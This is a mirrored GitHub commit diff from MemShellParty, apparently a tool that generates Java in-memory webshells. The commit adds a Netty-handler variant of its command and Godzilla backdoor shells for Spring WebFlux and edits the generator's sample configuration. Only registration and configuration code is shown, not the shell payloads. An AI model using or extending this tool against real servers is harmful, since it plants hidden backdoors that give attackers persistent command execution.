mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support webflux netty shell (#8)
This commit is contained in:
@@ -62,7 +62,8 @@ dependencies {
|
||||
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
|
||||
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
|
||||
implementation 'org.springframework:spring-webflux:5.3.24'
|
||||
|
||||
implementation 'io.netty:netty-all:4.1.116.Final'
|
||||
implementation 'io.projectreactor.netty:reactor-netty-core:1.1.25'
|
||||
testImplementation platform('org.junit:junit-bom:5.+')
|
||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
||||
|
||||
@@ -1,12 +1,14 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.memshell.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.SpringWebFluxShell;
|
||||
import com.reajason.javaweb.memshell.WebSphereShell;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
@@ -21,10 +23,10 @@ public class GeneratorMain {
|
||||
|
||||
public static void main(String[] args) throws IOException {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.WebSphere)
|
||||
.shellTool(ShellTool.Command)
|
||||
.shellType(WebSphereShell.AGENT_FILTER_MANAGER)
|
||||
.targetJreVersion(Opcodes.V1_6)
|
||||
.server(Server.SpringWebflux)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(SpringWebFluxShell.NETTY_HANDLER)
|
||||
.targetJreVersion(Opcodes.V1_8)
|
||||
.debug(true)
|
||||
.build();
|
||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||
@@ -41,12 +43,12 @@ public class GeneratorMain {
|
||||
|
||||
InjectorConfig injectorConfig = new InjectorConfig();
|
||||
|
||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, commandConfig);
|
||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
if (generateResult != null) {
|
||||
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
||||
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
||||
// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
|
||||
Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
|
||||
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
|
||||
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -2,12 +2,15 @@ package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
|
||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector;
|
||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
|
||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector;
|
||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
@@ -21,13 +24,15 @@ public class SpringWebFluxShell extends AbstractShell {
|
||||
public static final String WEB_FILTER = "WebFilter";
|
||||
public static final String HANDLER_METHOD = "HandlerMethod";
|
||||
public static final String HANDLER_FUNCTION = "HandlerFunction";
|
||||
public static final String NETTY_HANDLER = "NettyHandler";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
WEB_FILTER, Pair.of(CommandWebFilter.class, SpringWebFluxWebFilterInjector.class),
|
||||
HANDLER_METHOD, Pair.of(CommandHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class),
|
||||
HANDLER_FUNCTION, Pair.of(CommandHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class)
|
||||
HANDLER_FUNCTION, Pair.of(CommandHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class),
|
||||
NETTY_HANDLER, Pair.of(CommandNettyHandler.class, SpringWebFluxNettyHandlerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -36,7 +41,8 @@ public class SpringWebFluxShell extends AbstractShell {
|
||||
return Map.of(
|
||||
WEB_FILTER, Pair.of(GodzillaWebFilter.class, SpringWebFluxWebFilterInjector.class),
|
||||
HANDLER_METHOD, Pair.of(GodzillaHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class),
|
||||
HANDLER_FUNCTION, Pair.of(GodzillaHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class)
|
||||
HANDLER_FUNCTION, Pair.of(GodzillaHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class),
|
||||
NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, SpringWebFluxNettyHandlerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user